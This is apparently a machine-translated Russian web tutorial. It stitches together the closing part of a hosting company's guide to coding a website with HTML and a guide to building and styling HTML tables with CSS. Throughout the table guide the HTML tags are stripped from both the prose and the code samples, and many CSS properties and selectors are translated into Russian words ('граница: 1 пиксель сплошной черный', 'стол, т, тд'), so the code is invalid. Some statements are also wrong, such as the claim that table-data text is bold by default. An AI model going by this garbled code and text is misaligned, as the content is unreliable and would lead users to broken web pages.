    В качестве альтернативы можно использовать бесплатную платформу для размещения статических сайтов, например GitHub Pages. Однако избегайте бесплатных статических хостинговых платформ, если вы планируете добавить дополнительный код или сделать свой сайт динамичным. Помимо потенциальных проблем с совместимостью, их ограниченные серверные ресурсы могут замедлить работу вашего сайта.

    Добавление раскрывающегося списка для лучшей навигации

    Сложные веб-сайты с несколькими страницами содержат множество кнопок навигации, ссылок и текстов. Вы можете создать простое выпадающее меню, используя CSS , чтобы сгруппировать эти элементы.

    Пользователи могут развернуть панель навигации для доступа к элементам. Это помогает уменьшить беспорядок и повышает удобство использования веб-сайта для пользователей с небольшими экранами.

    Улучшение дизайна сайта с помощью Advanced CSS

    CSS позволяет выполнять расширенную настройку, чтобы улучшить дизайн сайта и сделать его более удобным для пользователей. Например, включите привязку прокрутки, анимацию текста, анимацию масштабирования при наведении и градиенты.

    Кроме того, вы можете создать адаптивный веб-сайт с медиа-запросами, правилами CSS и флексбоксами. Макет flexbox автоматически адаптирует ваш сайт под размер экрана клиента.

    Сделайте сайт более интерактивным с помощью JavaScript

    JavaScript — это язык сценариев, позволяющий создавать интерактивное и динамическое содержимое веб-сайта. Например, включите анимацию, добавьте обратный отсчет и включите кнопки, формы или меню.

    Эти функции делают ваш веб-сайт более интересным и захватывающим, улучшая взаимодействие с пользователем. Шаги по добавлению JavaScript на ваш HTML-сайт аналогичны CSS. Вы можете использовать отдельный файл или записать его прямо в текущий код.

    Нужно ли мне изучать HTML для создания веб-сайта?

    У пользователей может не быть времени или желания изучать HTML для веб-разработки. К счастью, некоторые платформы позволяют создавать функциональные веб-сайты без написания кода.

    Конструктор веб-сайтов, такой как Hostinger Website Builder, является отличным вариантом для начинающих. Он имеет визуальный пользовательский интерфейс и редактор перетаскивания, что упрощает настройку.

    Рекомендуемая литература

    Чтобы помочь вам решить, какой метод вам больше подходит, прочитайте наше руководство, чтобы узнать больше о преимуществах и недостатках использования конструктора веб-сайтов по сравнению с программированием.

    Поддержка веб-сайта на основе конструктора также проще и менее подвержена ошибкам, поскольку вам не нужно вручную обновлять исходный код. Просто выберите элементы, которые хотите отредактировать, и примените изменения прямо на одном экране.

    Поскольку Hostinger Website Builder включен во все наши планы хостинга, вам не нужно приобретать эту услугу отдельно. Он начинается с 2,99 долларов США в месяц и может быть обновлен до более производительных услуг хостинга.

    Заключение

    Вместо использования таких платформ, как WordPress или разработчиков веб-сайтов, вы можете создать веб-сайт с нуля с помощью HTML. Хотя веб-сайты HTML более сложны в создании, они более ресурсоэффективны и гибки, поскольку вы можете редактировать исходный код.

    В этой статье мы объяснили, как закодировать веб-сайт с помощью HTML и CSS за семь шагов:

    1. Выберите HTML-редактор — выберите программу для написания и редактирования кода вашего веб-сайта, например VSCode.
    2. Планирование макета сайта — создание макета макета веб-сайта с помощью такой программы, как Adobe XD, или ручки и бумаги.
    3. Напишите код HTML — создайте файл index.html и добавьте теги структуры документа HTML.
    4. Создайте элементы макета — разделите свой веб-сайт на несколько разделов на основе макета, добавив теги в файл HTML.
    5. Добавить содержимое HTML — добавить заголовок, основной текст и изображения в каждый раздел.
    6. Включить макет CSS — создайте файл style.css и добавьте код CSS для изменения положения столбца, выравнивания текста и заполнения элементов.
    7. Настройте свой сайт — используйте атрибуты стиля CSS для настройки цвета фона веб-сайта, размера шрифта, гарнитур и других визуальных элементов.

    После создания веб-страницы в формате HTML вы можете добавить расширенные возможности CSS и JavaScript для улучшения навигации, интерактивности и общего дизайна.

    Слишком многому нужно научиться? Ищете конструктор без кода? Ознакомьтесь с Hostinger Website Builder:

    Часто задаваемые вопросы о создании веб-сайта с помощью HTML

    Чтобы помочь вам больше узнать о создании веб-сайта с помощью HTML, мы ответим на некоторые часто задаваемые вопросы об этом.

    Достаточно ли HTML для создания веб-сайта?

    Да, вы можете создать функциональный веб-сайт, используя только HTML. Однако он отображает только статический контент, такой как текст, ссылки, изображения и видео.

    Используйте CSS для стилизации HTML-элемента, например, для изменения цвета фона и размера шрифта. Для создания динамичного и интерактивного веб-сайта вам также понадобится PHP.

    Подходит ли HTML для создания веб-сайтов?

    Да, подходит для создания статического сайта. Веб-сайты HTML требуют меньше ресурсов для загрузки и являются гибкими, поскольку вы можете изменять исходный код.

    Однако HTML подходит для сложных веб-сайтов только в сочетании с CSS и JavaScript. Если вы изучаете только HTML, лучше использовать WordPress.

    Сколько времени занимает кодирование HTML-сайта?

    Создание более сложных веб-сайтов займет больше времени. Количество веб-разработчиков, работающих над проектом, их навыки и ресурсы также могут повлиять на время сборки. Как правило, опытный разработчик может написать простой веб-сайт с нуля за четыре-шесть недель.

    Арис — страстный ИТ-специалист и энтузиаст WordPress. Он любит делиться своими знаниями и вдохновлять людей начать свое онлайн-путешествие. Когда он не работает и не ведет блог, Арис любит смотреть обзоры гаджетов и рисовать случайные каракули.

    Еще от Aris B.

    Когда их использовать и как их создавать и редактировать

    В то время как CMS или конструктор веб-сайтов предлагают модуль для создания таблиц одним нажатием кнопки, вы можете создавать таблицы с нуля с помощью базового HTML и CSS.

    HTML-таблицы помогают отображать большие объемы данных таким образом, чтобы их было легко просматривать, сравнивать и анализировать. Например, вы можете использовать таблицу на странице с ценами, чтобы потенциальные клиенты могли сравнить ключевые характеристики ваших тарифных планов.

    В этом посте мы рассмотрим все, что вам нужно знать об элементе таблицы HTML, в том числе:

    • зачем создавать таблицу в HTML
    • когда использовать (и не использовать) таблицы HTML
    • как сделать простую таблицу в HTML
    • как редактировать
      • граница таблицы
      • обивка стола
      • заголовок таблицы
      • ширина столбца таблицы
      • диапазон столбцов таблицы
      • цвет фона таблицы
    • как изменить размер шрифта ячейки таблицы
    • как центрировать стол
    • как создать таблицу внутри таблицы

    Зачем создавать таблицы в HTML

    Таблицы позволяют читателю сразу увидеть результаты или выводы, а не копаться в тексте в поисках числовых данных или ключевых моментов. Таким образом, делая пост или страницу более читабельными, вы можете привлечь и удержать посетителей на вашем сайте и, в конечном итоге, улучшить их взаимодействие с пользователем.

    Вот почему мы используем таблицы в блогах HubSpot. Ниже приведена таблица в конце обзора SiteGround и HostGator, в которой резюмируется статья из 2000 слов менее чем из 200 слов.

    Хотя эта таблица была создана одним нажатием кнопки в CMS Hub, вы также можете использовать HTML и CSS для создания таблиц с нуля.

    Давайте рассмотрим некоторые конкретные варианты использования HTML-таблиц ниже.

    Когда использовать HTML-таблицы

    При создании публикации в блоге или веб-страницы может потребоваться включить данные, которые не могут быть лучше всего представлены в виде текста. Допустим, вы хотите отобразить разбивку разнообразия вашей рабочей силы. Поскольку эти данные были бы слишком сложными или подробными, чтобы просто записать их, вы можете использовать таблицы для их организации и представления.

    Вот несколько других вариантов использования HTML-таблиц:

    • подведение итогов в блоге, посвященное сравнению нескольких инструментов
    • отображение основных характеристик тарифных планов для сравнения
    • показывает часы работы вашего розничного магазина на вашем веб-сайте
    • сообщает точные значения, такие как скорость загрузки самых быстрых тем WordPress
    • отображение данных с разными единицами измерения, такими как ранг и процент

    Хотя таблицы могут быть отличным дополнением к некоторым сообщениям в блогах, таблицам с ценами и т. д., их не следует использовать для определенных целей. Давайте быстро посмотрим на тех, кто ниже.

    Когда не следует использовать HTML-таблицы

    HTML-таблицы следует использовать для отображения и организации любого типа табличных данных. Они не должны использоваться для размещения веб-страниц. Этот метод использовался в прошлом, когда CSS был менее продвинутым, а веб-браузеры не всегда и надежно поддерживали позиционирование CSS. Теперь в CSS есть несколько методов компоновки, включая свойство display, flexbox и grid, которые более эффективны, чем HTML-таблицы, и широко поддерживаются веб-браузерами.

    Ниже приведены наиболее распространенные причины, по которым следует избегать использования HTML-таблиц для макета:

    • Сложный код : Табличные макеты обычно включают более сложные структуры разметки, чем правильные методы макета, отчасти потому, что они часто включают несколько слоев вложенных таблиц. Это означает, что сложнее писать, поддерживать и отлаживать код для макетов таблиц.
    • Проблема доступности : Из-за сложной структуры разметки макеты, созданные с помощью таблиц, создают проблемы доступности для пользователей с нарушениями зрения и других типов пользователей с программами чтения с экрана. Основная проблема заключается в том, что содержимое таблицы не всегда имеет смысл при чтении слева направо и сверху вниз. Вложенные таблицы и различные диапазоны и атрибуты в ячейках таблицы также могут быть трудны для анализа программой чтения с экрана.
    • Недостаточная отзывчивость : По умолчанию таблицы имеют размер в соответствии с их содержимым. Поэтому для оптимизации макетов таблиц для различных устройств требуется дополнительный код. С другой стороны, Flexbox, CSS Grid и Bootstrap — все модели адаптивного макета.

    Теперь, когда мы лучше понимаем, почему и когда использовать (и не использовать) HTML-таблицы, давайте рассмотрим процесс их создания ниже.

    Как создать таблицу в HTML

    Чтобы создать таблицу в HTML, используйте тег

    . Внутри этого тега таблицы вы разместите теги, определяет строку таблицы.
  • Тег

  • Затем вы должны создать еще три строки. Внутри этих тегов

    вы должны разместить теги


    Затем вы должны обернуть все четыре строки тегом

    и.

    • Тег
    определяет заголовок таблицы. По умолчанию любой текст в теге выделяется жирным шрифтом и располагается по центру.
  • Тег
  • определяет данные таблицы (т. е. ячейки таблицы). По умолчанию любой текст в теге выделен жирным шрифтом и выровнен по левому краю.

    Важно отметить, что тег

    может содержать ряд элементов HTML, а не только текст. Возможные элементы включают изображения, нумерованные или маркированные списки и другие таблицы.

    Чтобы наглядно увидеть, как создать таблицу, используя только HTML, посмотрите это видео.

    Вы также можете использовать CSS-фреймворк Bootstrap для создания стильных таблиц.

    Ознакомьтесь с Пошаговым руководством по элементу таблицы Bootstrap CSS, чтобы узнать, как это сделать.

    Пример таблицы HTML

    Предположим, вы создаете таблицу для контактной информации ваших сотрудников. Вы хотите указать имя, должность и адрес электронной почты каждого из трех ваших сотрудников. В этом случае вам понадобится три столбца и четыре строки.

    Эта первая строка будет заголовком вашей таблицы. Здесь вы должны пометить каждый столбец, заключив следующий текст — имя, должность и адрес электронной почты — в теги

    . Вот как будет выглядеть этот код:

     
    Имя Должность Адрес электронной почты
    , содержащие имя, должность и адрес электронной почты каждого сотрудника. Вот как будет выглядеть код для второй строки:

     
    Анна Фицджеральд штатный сотрудник example@company. com
    . В целом ваш код будет выглядеть примерно так:

     

    < /tr>

    Имя Должность Адрес электронной почты< /й>

    Анна Фицджеральд штатный сотрудник [email protected]
    Джон Смит Менеджер по маркетингу [email protected]
    Зендая Грейс CEO [email protected]

    Вот как таблица будет выглядеть в интерфейсе ваш веб-сайт:

    Обратите внимание, что ширина каждого столбца достаточна для размещения текста, и нет границ, отделяющих один столбец или строку от другого. Результат выглядит загроможденным и трудным для чтения.

    Ниже мы рассмотрим несколько способов сделать эту таблицу более удобной для чтения.

    Для визуального ознакомления с тем, как создать более сложный пример таблицы HTML с помощью HTML и CSS, посмотрите это видео от FollowAndrew:

    Редактирование границы таблицы

    Совет для профессионалов: отредактируйте границу таблицы, чтобы читатель понял отношения между значениями и читать данные слева направо и сверху вниз.

    По умолчанию таблицы не имеют границ. Чтобы добавить границы, используйте свойство границы CSS.

    Допустим, я хочу добавить простую черную рамку вокруг моей таблицы выше. Затем мне просто нужно добавить следующий CSS в раздел заголовка моего HTML-файла или во внешнюю таблицу стилей.

     
    table, th, td {

    граница: 1 пиксель сплошной черный;

    }

    HTML-код в основной части файла HTML останется прежним.

    Вот как это будет выглядеть во внешнем интерфейсе:

    Обратите внимание, что границы вокруг таблицы, заголовка таблицы и ячеек таблицы отделены друг от друга. Чтобы свернуть их, используйте свойство CSS border-collapse. Вы просто добавите это свойство в свой набор правил CSS и установите значение «свернуть». Вот как теперь будет выглядеть ваш CSS:

     
    table, th, td {

    граница: 1 пиксель сплошной черный;

    border-collapse: коллапс;

    }

    Опять же, HTML остается прежним.

    Вот как это будет выглядеть во внешнем интерфейсе:

    Добавление границ уже помогло сделать эту таблицу более удобной для чтения, четко разграничив, какие значения являются именами, какие — должностями, а какие — адресами электронной почты, но она все еще выглядит перегруженной. Давайте посмотрим, как мы можем добавить больше пустого пространства в эту таблицу.

    Редактирование отступов таблицы

    Совет: добавьте отступы к таблице, чтобы она выглядела менее перегруженной и более удобной для чтения.

    Как упоминалось выше, размер таблиц соответствует размеру их содержимого по умолчанию. Итак, ваш второй шаг — добавить больше места вокруг содержимого в ячейках таблицы. Для этого используйте свойство CSS padding.

    Поскольку заполнение определяет пространство между содержимым ячейки и ее границей, вам нужно добавить заполнение только к заголовку таблицы и элементам данных таблицы, а не к самому элементу таблицы. Это означает, что вы создадите новый набор правил CSS, который использует только два селектора CSS: th и td. Затем вы должны установить для свойства заполнения CSS любое значение, которое вы хотите. Ниже я установлю его на 10px.

    Вот как будет выглядеть CSS:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    }

    HTML остается прежним.

    Вот как это будет выглядеть во внешнем интерфейсе:

    Теперь таблица выглядит намного яснее, но по-прежнему сложно сопоставить данные. Мы можем упростить эту задачу, отделив заголовок от других ячеек. Давайте посмотрим, как ниже.

    Редактирование заголовка таблицы

    Совет: отредактируйте заголовок таблицы, чтобы отличать категории данных от точек данных.

    Чтобы выделить заголовок таблицы, вы можете сделать что-то простое, например добавить фоновый цвет для этих ячеек. Вам просто нужно использовать селектор элемента «th», чтобы применить уникальные свойства стиля только к заголовку.

    Ниже вы будете использовать тот же CSS, что и выше, но добавите третий набор правил, который содержит свойство background-color CSS. Затем вы можете установить для свойства определенное значение цвета, используя шестнадцатеричный код цвета. В этом примере я буду использовать шестнадцатеричный код цвета для мягкого оттенка желтого.

    Вот CSS:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    }

    th {

    background-color: #FDDF95;

    }

    Вот как это будет выглядеть во внешнем интерфейсе:

    Со стилем заголовка легче просмотреть таблицу на наличие имен, должностей и адресов электронной почты. Еще немного пустого пространства может сделать сканирование еще проще. Давайте посмотрим, как добавить их, стилизовав столбец ниже.

    Редактирование ширины столбца таблицы

    Совет для профессионалов: отредактируйте ширину столбца таблицы, чтобы добавить больше пробелов в таблицу.

    Если бы вам нужно было угадать, как стилизовать столбец, вы могли бы подумать, что вам нужно добавить атрибут стиля в ячейку каждой строки. Это было бы неприятно, верно? Хорошая новость в том, что вам это не нужно.

    Вместо этого вы можете использовать тег. Этот тег указывает группу из одного или нескольких столбцов в таблице, поэтому вы можете применять CSS к столбцам, а не к ячейкам.

    Чтобы создать эту группу, вы должны добавить тег в раздел body вашего HTML-файла. Внутри этого тега вы должны добавить тег для каждого столбца в вашей таблице или для каждого столбца, который вы хотите стилизовать. Вот как выглядит код HTML:

     

    Затем вы можете настроить таргетинг на эту группу столбцов с помощью CSS. Допустим, вы не хотите просто указывать отступы — или пространство между содержимым ячейки и ее границей — вы также хотите указать ширину каждого столбца. Затем вы можете добавить еще один набор правил в свой CSS и определить свойство ширины.

    Вот как будет выглядеть CSS:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    }

    th {

    background-color: #FDDF95;

    }

    colgroup {

    ширина: 250 пикселей;

    }

    Вот как будет выглядеть HTML:

     

    < td>CEO

    Имя Должность Адрес электронной почты< /th>

    Анна Фицджеральд штатный сотрудник [email protected]
    Джон Смит Менеджер по маркетингу example2@company. com
    Зендая Грейс [email protected]

    Вот как это будет выглядеть на интерфейсе:

    Давайте скажем, вы хотите изменить ширину только одного столбца, например столбца, содержащего адреса электронной почты. Вместо того, чтобы добавлять внутренний CSS в раздел заголовка вашего HTML-файла, вы можете просто добавить атрибут стиля к третьему тегу в разделе тела. Внутри этого атрибута вы должны добавить и указать свойство ширины. Вот как будет выглядеть тег:

     


    Вот как это будет выглядеть во внешнем интерфейсе:

    Указание ширины столбца таблицы таким образом может быть больше места для более длинных входных данных, таких как адреса электронной почты.

    Помимо изменения ширины столбца HTML-таблицы, вы можете сделать так, чтобы ячейка занимала несколько столбцов. Давайте посмотрим, как.

    Диапазон столбца таблицы HTML

    Совет для профессионалов. Используйте диапазон столбцов для представления двух связанных столбцов данных, таких как номера мобильных и домашних телефонов.

    В некоторых случаях имеет смысл, чтобы ячейка занимала несколько столбцов. Например, ячейка заголовка, содержащая название группы столбцов, должна охватывать более одного столбца.

    Чтобы сделать ячейку более чем одним столбцом, вы можете использовать атрибут colspan. Просто добавьте его в открывающий тег заголовка таблицы (или ячейки таблицы) и установите количество столбцов, которое вы хотите охватить.

    В приведенном ниже примере предположим, что вы хотите добавить в таблицу номера мобильных и домашних телефонов ваших сотрудников. В этом случае вы должны добавить новый тег с атрибутом colspan, установленным на «2». Затем вы добавите в каждую строку еще два тега, содержащие номера телефонов сотрудников.

    Примечание: мы будем использовать тот же CSS из примера выше.

    Вот как будет выглядеть HTML:

     

       <таблица>

      

        <столбец>

        <столбец>

        <столбец>

        <столбец>

        <столбец>

      

      

        Имя

        Должность 

        Адрес электронной почты

        Телефон

      

      

        Анна Фицджеральд

        Штатный писатель

        [email protected]

        888-888-880

        888-888-881

      

      

        Джон Смит

        Менеджер по маркетингу

        [email protected]

        888-888-882

        888-888-883

      

      

        Зендая Грейс

        генеральный директор

        example2@company. com

        888-888-884

        888-888-885

      

    Вот как это будет выглядеть во внешнем интерфейсе:

    Теперь, когда вы изменили отступы, ширину столбца, выравнивание и многое другое в таблице, возможно, вы ищете еще несколько способов привести таблицу в порядок. на странице. Один из способов — изменить цвет фона не только заголовка, но и всей таблицы. Давайте рассмотрим, как.

    Редактирование цвета фона таблицы

    Совет для профессионалов: отредактируйте цвет фона таблицы, чтобы отличить таблицу от других элементов на веб-странице и привлечь внимание читателя.

    Чтобы изменить цвет фона всей таблицы, а не только заголовка таблицы, вы просто определяете свойство цвета фона CSS как для заголовка таблицы, так и для элементов данных таблицы. Вот как будет выглядеть ваш CSS:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    цвет фона: #FDDF95;

    }

    Вот как будет выглядеть HTML:

     

    <таблица>

      

        <столбец>

        <столбец>

        <столбец>

      

      

        Имя

        Должность 

        Адрес электронной почты

      

      

        Анна Фицджеральд

        Штатный писатель

        example@company. com

      

      

        Джон Смит

        Менеджер по маркетингу

        [email protected]

      

      

        Зендая Грейс

        генеральный директор

        [email protected]

      

    Вот как это будет выглядеть в интерфейсе:

    Изменение цвета фона таблицы поможет ей выделиться на веб-странице и привлечь внимание посетителей к важной информации, содержащейся в ней.

    Если вы хотите, чтобы заголовок таблицы и элементы данных таблицы имели разные цвета фона, просто используйте два селектора элементов, «th» и «td», и установите свойство цвета фона на разные шестнадцатеричные коды цветов или названия цветов. .

    Вот как может выглядеть CSS:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    }

    th {

    background-color: #FFB500;

    }

    td {

    background-color: #FDDF95;

    }

    HTML остается прежним.

    Вот как это будет выглядеть во внешнем интерфейсе:

    Изменение цвета заголовка и фона таблицы может выделить ее на странице и позволит читателям легко ссылаться на данные.

    Еще один способ убедиться, что таблица не потеряется среди другого содержимого на странице, — увеличить размер ее шрифта. Ниже мы рассмотрим, как.

    Размер шрифта таблицы HTML

    Совет для профессионалов: увеличьте размер шрифта заголовка таблицы, чтобы привлечь внимание читателя и помочь ему замедлить чтение элементов данных таблицы.

    Чтобы изменить размер шрифта в таблице HTML, используйте свойство CSS font-size. Это свойство можно использовать для заголовка таблицы и элементов данных таблицы. Но допустим, вы хотите увеличить размер шрифта только заголовка таблицы.

    Тогда ваш CSS будет выглядеть так:

     
    table, th, td {

    border: 1px сплошной черный;

    border-collapse: коллапс;

    }

    th, td {

    padding: 10px;

    }

    th {

    background-color: #FFB500;

    размер шрифта: 20 пикселей;

    }

    td {

    background-color: #FDDF95;

    }

    Ваш HTML останется прежним.

    Вот как это будет выглядеть в интерфейсе:

    Изменение размера шрифта — это еще один способ отличить заголовок от остальных данных в таблице, что может упростить просмотр.

    После того, как вы будете довольны внешним видом своей таблицы, вам может быть интересно изменить ее положение на странице. Один из способов сделать это — изменить его выравнивание по умолчанию. Давайте посмотрим, как ниже.

    Центрирование таблицы в HTML

    Совет: центрируйте таблицу, чтобы отделить ее от остального содержимого веб-страницы, выровненного по левому краю.

    По умолчанию элементы, включая элемент table, будут выравниваться по левому краю страницы. Если вы хотите отцентрировать его на странице, используйте свойство margin CSS.

    Сначала вы добавите имя класса к элементу таблицы. В приведенном ниже примере я буду использовать имя «центр». Затем вы можете использовать селектор класса для выравнивания по центру только элемента таблицы. Остальные элементы на странице останутся выровненными по левому краю. Вот как будет выглядеть HTML:

     

    2 th>Адрес электронной почты

    < td>Zendaya Grace

    Имя Должность
    Анна Фицджеральд штатный сотрудник example@company. ком
    Джон Смит Менеджер по маркетингу [email protected]
    CEO [email protected]

    Вы Затем добавьте еще один набор правил в ваш CSS. Используя селектор класса «.center», вы установите для свойств margin-left и margin-right значение «auto». Таким образом, таблица будет занимать любую ширину, указанную CSS или содержащимся в ней содержимым, а браузер обеспечит равномерное распределение оставшегося пространства между левым и правым полями.

    Вот как CSS будет выглядеть вместе:

     

    стол, т, тд {

      граница: 1 пиксель сплошной черный;

      border-collapse: свернуть;

    }

    -й, тд {

      отступ: 10 пикселей;

    }

    -й {

      фоновый цвет: #FFB500;

      размер шрифта: 20 пикселей;

      }

    тд {

      фоновый цвет: #FDDF95;

      }

    .центр {

      поле слева: авто;

      правое поле: авто;

    }

    Вот как это будет выглядеть во внешнем интерфейсе:

    Вложение таблиц в HTML

    Совет: вложите таблицу в таблицу, чтобы создать сложную, визуально интересную компоновку таблицы.

    Вы можете вкладывать таблицы или создавать таблицы внутри таблиц в HTML. Чтобы создать вложенную таблицу, просто создайте другой элемент таблицы с тегами заголовка, строки таблицы и данных таблицы и поместите его внутрь любого тега существующей таблицы.

    Допустим, я хочу перечислить домашний и мобильный телефоны сотрудника во вложенной таблице.

    Вот как может выглядеть CSS: 

     

    стол, т, тд {

      граница: 1 пиксель сплошной черный;

      border-collapse: свернуть;

    }

    -й, тд {

      отступ: 10 пикселей;

    }

    -й {

      фоновый цвет: #FDDF95;

      }

    # вложенный {

      фоновый цвет: #EEEEEE;

      }

    Вот как может выглядеть HTML:

     

    <таблица>

      

        Имя

        Должность 

        Адрес электронной почты

        Вложенная таблица

      

      

        Анна Фицджеральд

        Штатный писатель

        [email protected]

        <тд>

          <таблица>

                

                 Домашний телефон

                  Сотовый телефон

                

                

                 888-888-880

                 888-888-881

                 

            

          

      

    Вот как это будет выглядеть во внешнем интерфейсе:

    Создание таблиц в HTML

    Если вы хотите поделиться большими объемами данных на своем веб-сайте, используйте таблицы для представления этих данных в удобном для посетителей виде.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *